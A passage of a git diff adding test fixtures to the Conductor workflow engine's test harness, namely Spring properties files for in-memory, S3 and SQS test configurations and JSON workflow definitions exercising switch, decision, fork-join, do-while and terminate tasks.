    +# * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on +# * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the +# * specific language governing permissions and limitations under the License. +# */ +# + +conductor.db.type=memory +# disable trying to connect to redis and use in-memory +conductor.queue.type=xxx +# Scheduler disabled by default; SchedulerIntegrationTest overrides via @TestPropertySource +conductor.scheduler.enabled=false +conductor.workflow-execution-lock.type=local_only +conductor.external-payload-storage.type=mock +conductor.indexing.enabled=false + +conductor.app.stack=test +conductor.app.appId=conductor + +conductor.app.workflow-offset-timeout=30s + +conductor.system-task-workers.enabled=false +conductor.app.system-task-worker-callback-duration=0 + +conductor.app.event-message-indexing-enabled=true +conductor.app.event-execution-indexing-enabled=true + +# Enabled (matching production defaults) so concurrent decides from the background WorkflowSweeper +# and manual sweep()/asyncSystemTaskExecutor calls in specs are serialized via the local_only lock. +# With it disabled, simultaneous decides could schedule duplicate tasks and flake exact-count +# assertions (e.g. FailureWorkflowSpec, HierarchicalForkJoinSubworkflowRetrySpec). +conductor.app.workflow-execution-lock-enabled=true +conductor.app.workflow.name-validation.enabled=true + +conductor.app.workflow-input-payload-size-threshold=10KB +conductor.app.max-workflow-input-payload-size-threshold=10240KB +conductor.app.workflow-output-payload-size-threshold=10KB +conductor.app.max-workflow-output-payload-size-threshold=10240KB +conductor.app.task-input-payload-size-threshold=10KB +conductor.app.max-task-input-payload-size-threshold=10240KB +conductor.app.task-output-payload-size-threshold=10KB +conductor.app.max-task-output-payload-size-threshold=10240KB +conductor.app.max-workflow-variables-payload-size-threshold=2KB + +conductor.redis.availability-zone=us-east-1c +conductor.redis.data-center-region=us-east-1 +conductor.redis.workflow-namespace-prefix=integration-test +conductor.redis.queue-namespace-prefix=integtest + +conductor.indexing.index-prefix=conductor +conductor.indexing.cluster-health-color=yellow + +management.metrics.export.datadog.enabled=false diff --git a/test-harness/src/test/resources/application-s3test.properties b/test-harness/src/test/resources/application-s3test.properties new file mode 100644 index 0000000..be3ce8f --- /dev/null +++ b/test-harness/src/test/resources/application-s3test.properties @@ -0,0 +1,41 @@ +# S3 E2E Test Configuration +# This configuration enables S3 external payload storage for testing with LocalStack + +# External storage configuration +conductor.external-payload-storage.type=s3 +conductor.external-payload-storage.s3.bucketName=conductor-test-payloads +conductor.external-payload-storage.s3.region=us-east-1 +conductor.external-payload-storage.s3.signedUrlExpirationDuration=60 +conductor.external-payload-storage.s3.use_default_client=true + +# Payload size thresholds - using your proven working configuration +conductor.app.workflowInputPayloadSizeThreshold=1KB +conductor.app.taskInputPayloadSizeThreshold=1KB +conductor.app.taskOutputPayloadSizeThreshold=1KB +conductor.app.workflowOutputPayloadSizeThreshold=1KB + +# Max sizes - using your working configuration +conductor.app.maxWorkflowInputPayloadSizeThreshold=10MB +conductor.app.maxTaskInputPayloadSizeThreshold=10MB +conductor.app.maxTaskOutputPayloadSizeThreshold=10MB +conductor.app.maxWorkflowOutputPayloadSizeThreshold=10MB + +# Database and queue configuration (lightweight for testing) +conductor.db.type=memory +conductor.queue.type=memory +conductor.indexing.enabled=false + +# Disable other external storage types +conductor.external-payload-storage.postgres.enabled=false +conductor.external-payload-storage.azureblob.enabled=false + +# Disable AWS SQS event queues +conductor.event-queues.sqs.enabled=false + +# Spring test configuration +spring.main.allow-bean-definition-overriding=true +spring.main.allow-circular-references=true + +# Logging (optional - for debugging) +logging.level.com.netflix.conductor.s3=DEBUG +logging.level.software.amazon.awssdk.services.s3=INFO diff --git a/test-harness/src/test/resources/application-sqstest.properties b/test-harness/src/test/resources/application-sqstest.properties new file mode 100644 index 0000000..b7ca9da --- /dev/null +++ b/test-harness/src/test/resources/application-sqstest.properties @@ -0,0 +1,44 @@ +# SQS E2E Test Configuration +# This configuration enables SQS event queues for testing with LocalStack + +# Database and queue configuration (lightweight for testing) +conductor.db.type=memory +conductor.queue.type=memory +conductor.external-payload-storage.type=mock +conductor.indexing.enabled=false +conductor.app.workflow-execution-lock-enabled=false +conductor.metrics-prometheus.enabled=false +loadSample=false + +# Clear Redis settings to prevent connection attempts +conductor.redis.hosts= + +# SQS Event Queue Configuration +conductor.event-queues.sqs.enabled=true +conductor.event-queues.sqs.region=us-east-1 +conductor.event-queues.sqs.batchSize=5 +conductor.event-queues.sqs.pollTimeDuration=100ms +conductor.event-queues.sqs.visibilityTimeout=60s +conductor.event-queues.sqs.listenerQueuePrefix=conductor-test-sqs- +conductor.event-queues.sqs.authorizedAccounts= + +# Default event queue type for SQS testing +conductor.default-event-queue.type=sqs + +# Workflow status listener configuration for SQS +conductor.workflow-status-listener.type=queue_publisher +conductor.workflow-status-listener.queue-publisher.successQueue=conductor-test-sqs-COMPLETED +conductor.workflow-status-listener.queue-publisher.failureQueue=conductor-test-sqs-FAILED + +# Disable other event queue types that might conflict +conductor.event-queues.amqp.enabled=false + +# Spring test configuration +spring.main.allow-bean-definition-overriding=true +spring.main.allow-circular-references=true + +# Logging for debugging +logging.level.com.netflix.conductor.sqs=DEBUG +logging.level.software.amazon.awssdk.services.sqs=INFO +logging.level.com.netflix.conductor.core.events=DEBUG +logging.level.com.netflix.conductor.contribs.listener=DEBUG diff --git a/test-harness/src/test/resources/concurrency_limited_task_workflow_integration_test.json b/test-harness/src/test/resources/concurrency_limited_task_workflow_integration_test.json new file mode 100644 index 0000000..b637247 --- /dev/null +++ b/test-harness/src/test/resources/concurrency_limited_task_workflow_integration_test.json @@ -0,0 +1,29 @@ +{ + "name": "test_concurrency_limits_workflow", + "version": 1, + "tasks": [ + { + "name": "test_task_with_concurrency_limit", + "taskReferenceName": "test_task_with_concurrency_limit", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/conditional_switch_task_workflow_integration_test.json b/test-harness/src/test/resources/conditional_switch_task_workflow_integration_test.json new file mode 100644 index 0000000..be6fc83 --- /dev/null +++ b/test-harness/src/test/resources/conditional_switch_task_workflow_integration_test.json @@ -0,0 +1,173 @@ +{ + "name": "ConditionalTaskWF", + "description": "ConditionalTaskWF", + "version": 1, + "tasks": [ + { + "name": "conditional", + "taskReferenceName": "conditional", + "inputParameters": { + "case": "${workflow.input.param1}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "case", + "decisionCases": { + "nested": [ + { + "name": "nestedCondition", + "taskReferenceName": "nestedCondition", + "inputParameters": { + "case": "${workflow.input.param2}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "case", + "decisionCases": { + "one": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "two": [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "three": [ + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "tp3": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_10", + "taskReferenceName": "t10", + "inputParameters": { + "tp10": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "finalcondition", + "taskReferenceName": "finalCase", + "inputParameters": { + "finalCase": "${workflow.input.finalCase}" + }, + "type": "SWITCH", + "evaluatorType": "value-param", + "expression": "finalCase", + "decisionCases": { + "notify": [ + { + "name": "integration_task_4", + "taskReferenceName": "integration_task_4", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/conditional_system_task_workflow_integration_test.json b/test-harness/src/test/resources/conditional_system_task_workflow_integration_test.json new file mode 100644 index 0000000..275f928 --- /dev/null +++ b/test-harness/src/test/resources/conditional_system_task_workflow_integration_test.json @@ -0,0 +1,112 @@ +{ + "name": "ConditionalSystemWorkflow", + "description": "ConditionalSystemWorkflow", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "tp11": "${workflow.input.param1}", + "tp12": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "decision", + "taskReferenceName": "decision", + "inputParameters": { + "case": "${t1.output.case}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "one": [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp21": "${workflow.input.param1}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "two": [ + { + "name": "user_task", + "taskReferenceName": "user_task", + "inputParameters": { + "largeInput": "${t1.output.op}" + }, + "type": "USER_TASK", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "tp31": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o2": "${t1.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/conditional_task_workflow_integration_test.json b/test-harness/src/test/resources/conditional_task_workflow_integration_test.json new file mode 100644 index 0000000..bc9c59d --- /dev/null +++ b/test-harness/src/test/resources/conditional_task_workflow_integration_test.json @@ -0,0 +1,170 @@ +{ + "name": "ConditionalTaskWF", + "description": "ConditionalTaskWF", + "version": 1, + "tasks": [ + { + "name": "conditional", + "taskReferenceName": "conditional", + "inputParameters": { + "case": "${workflow.input.param1}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "nested": [ + { + "name": "nestedCondition", + "taskReferenceName": "nestedCondition", + "inputParameters": { + "case": "${workflow.input.param2}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "one": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "two": [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "three": [ + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "tp3": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_10", + "taskReferenceName": "t10", + "inputParameters": { + "tp10": "workflow.input.param2" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "finalcondition", + "taskReferenceName": "finalCase", + "inputParameters": { + "finalCase": "${workflow.input.finalCase}" + }, + "type": "DECISION", + "caseValueParam": "finalCase", + "decisionCases": { + "notify": [ + { + "name": "integration_task_4", + "taskReferenceName": "integration_task_4", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/decision_and_fork_join_integration_test.json b/test-harness/src/test/resources/decision_and_fork_join_integration_test.json new file mode 100644 index 0000000..d2fb055 --- /dev/null +++ b/test-harness/src/test/resources/decision_and_fork_join_integration_test.json @@ -0,0 +1,165 @@ +{ + "name": "ForkConditionalTest", + "description": "ForkConditionalTest", + "version": 1, + "tasks": [ + { + "name": "forkTask", + "taskReferenceName": "forkTask", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "decisionTask", + "taskReferenceName": "decisionTask", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "c": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [ + { + "name": "integration_task_5", + "taskReferenceName": "t5", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_20", + "taskReferenceName": "t20", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + [ + { + "name": "integration_task_10", + "taskReferenceName": "t10", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "joinTask", + "taskReferenceName": "joinTask", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "t20", + "t10" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/decision_and_terminate_integration_test.json b/test-harness/src/test/resources/decision_and_terminate_integration_test.json new file mode 100644 index 0000000..c7f0d5d --- /dev/null +++ b/test-harness/src/test/resources/decision_and_terminate_integration_test.json @@ -0,0 +1,113 @@ +{ + "name": "ConditionalTerminateWorkflow", + "description": "ConditionalTerminateWorkflow", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "tp11": "${workflow.input.param1}", + "tp12": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "decision", + "taskReferenceName": "decision", + "inputParameters": { + "case": "${workflow.input.case}" + }, + "type": "DECISION", + "caseValueParam": "case", + "decisionCases": { + "one": [ + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp21": "${workflow.input.param1}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "two": [ + { + "name": "terminate", + "taskReferenceName": "terminate0", + "inputParameters": { + "terminationStatus": "FAILED", + "workflowOutput": "${t1.output.op}" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_3", + "taskReferenceName": "t3", + "inputParameters": { + "tp31": "${workflow.input.param2}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o2": "${t3.output.op}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} \ No newline at end of file diff --git a/test-harness/src/test/resources/do_while_as_subtask_integration_test.json b/test-harness/src/test/resources/do_while_as_subtask_integration_test.json new file mode 100644 index 0000000..2fc471e --- /dev/null +++ b/test-harness/src/test/resources/do_while_as_subtask_integration_test.json @@ -0,0 +1,117 @@ +{ + "name": "Do_While_SubTask", + "description": "Do_While_SubTask", + "version": 1, + "tasks": [ + { + "name": "fork", + "taskReferenceName": "fork", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value) { true; } else { false;} ", + "loopOver": [ + { + "name": "integration_task_0", + "taskReferenceName": "integration_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_1", + "taskReferenceName": "integration_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + } + ], + [ + { + "name": "integration_task_2", + "taskReferenceName": "integration_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "join", + "taskReferenceName": "join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "loopTask", + "integration_task_2" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/do_while_cleanup_demo.json b/test-harness/src/test/resources/do_while_cleanup_demo.json new file mode 100644 index 0000000..21c109f --- /dev/null +++ b/test-harness/src/test/resources/do_while_cleanup_demo.json @@ -0,0 +1,48 @@ +{ + "name": "do_while_cleanup_demo", + "description": "Demonstrates DO_WHILE iteration cleanup with keepLastN parameter", + "version": 1, + "tasks": [ + { + "name": "do_while_loop", + "taskReferenceName": "do_while_loop_ref", + "inputParameters": { + "keepLastN": 3, + "max_iterations": "${workflow.input.max_iterations}" + }, + "type": "DO_WHILE", + "loopCondition": "if ($.do_while_loop_ref['iteration'] < $.max_iterations) { true; } else { false; }", + "loopOver": [ + { + "name": "generate_data", + "taskReferenceName": "generate_data_ref", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "(function() { var data = []; for(var i = 0; i < 100; i++) { data.push(Math.random()); } return { iteration: $.do_while_loop_ref['iteration'], data: data, timestamp: Date.now() }; })()" + }, + "type": "INLINE" + }, + { + "name": "process_data", + "taskReferenceName": "process_data_ref", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "(function() { return { iteration: $.do_while_loop_ref['iteration'], processed: true, count: ${generate_data_ref.output.result.data}.length }; })()" + }, + "type": "INLINE" + } + ] + }, + { + "name": "summary", + "taskReferenceName": "summary_ref", + "inputParameters": { + "evaluatorType": "javascript", + "expression": "(function() { return { total_iterations: $.do_while_loop_ref['iteration'], message: 'Workflow completed. Only last 3 iterations retained in output.' }; })()" + }, + "type": "INLINE" + } + ], + "schemaVersion": 2, + "ownerEmail": "test@conductor.io" +} diff --git a/test-harness/src/test/resources/do_while_five_loop_over_integration_test.json b/test-harness/src/test/resources/do_while_five_loop_over_integration_test.json new file mode 100644 index 0000000..3729d3e --- /dev/null +++ b/test-harness/src/test/resources/do_while_five_loop_over_integration_test.json @@ -0,0 +1,123 @@ +{ + "name": "do_while_five_loop_over_integration_test", + "description": "do_while with a mix of 5, simple and system tasks", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value ) { true;} else {false;} ", + "loopOver": [ + { + "name": "LAMBDA_TASK", + "taskReferenceName": "lambda_locs", + "inputParameters": { + "scriptExpression": "return {locationRanId: 'some location id'}" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "jq_add_location", + "taskReferenceName": "jq_add_location", + "inputParameters": { + "locationIdValue": "${lambda_locs.output.result.locationRanId}", + "queryExpression": "{ out: ({ \"locationId\": .locationIdValue }) }" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_1", + "taskReferenceName": "integration_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "jq_create_hydrus_input", + "taskReferenceName": "jq_create_hydrus_input", + "inputParameters": { + "locationIdValue": "${lambda_locs.output.result.locationRanId}", + "queryExpression": "{ out: ({ \"locationId\": .locationIdValue }) }" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "integration_task_2", + "taskReferenceName": "integration_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + { + "name": "integration_task_3", + "taskReferenceName": "integration_task_3", + "inputParameters": {}, + "type": "SIMPLE" + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@harness.com" +} diff --git a/test-harness/src/test/resources/do_while_high_iteration_test.json b/test-harness/src/test/resources/do_while_high_iteration_test.json new file mode 100644 index 0000000..fb2d772 --- /dev/null +++ b/test-harness/src/test/resources/do_while_high_iteration_test.json @@ -0,0 +1,51 @@ +{ + "name": "do_while_high_iteration_test", + "description": "DO_WHILE with only synchronous LAMBDA tasks at high iteration count. Used to regression-test the iterative decide() loop introduced in fix #799 (StackOverflowError at high DO_WHILE iterations).", + "version": 1, + "tasks": [ + { + "name": "loopTask", + "taskReferenceName": "loopTask", + "inputParameters": { + "value": "${workflow.input.loop}" + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ($.loopTask['iteration'] < $.value ) { true; } else { false; }", + "loopOver": [ + { + "name": "LAMBDA_TASK", + "taskReferenceName": "lambda_task", + "inputParameters": { + "scriptExpression": "return {};" + }, + 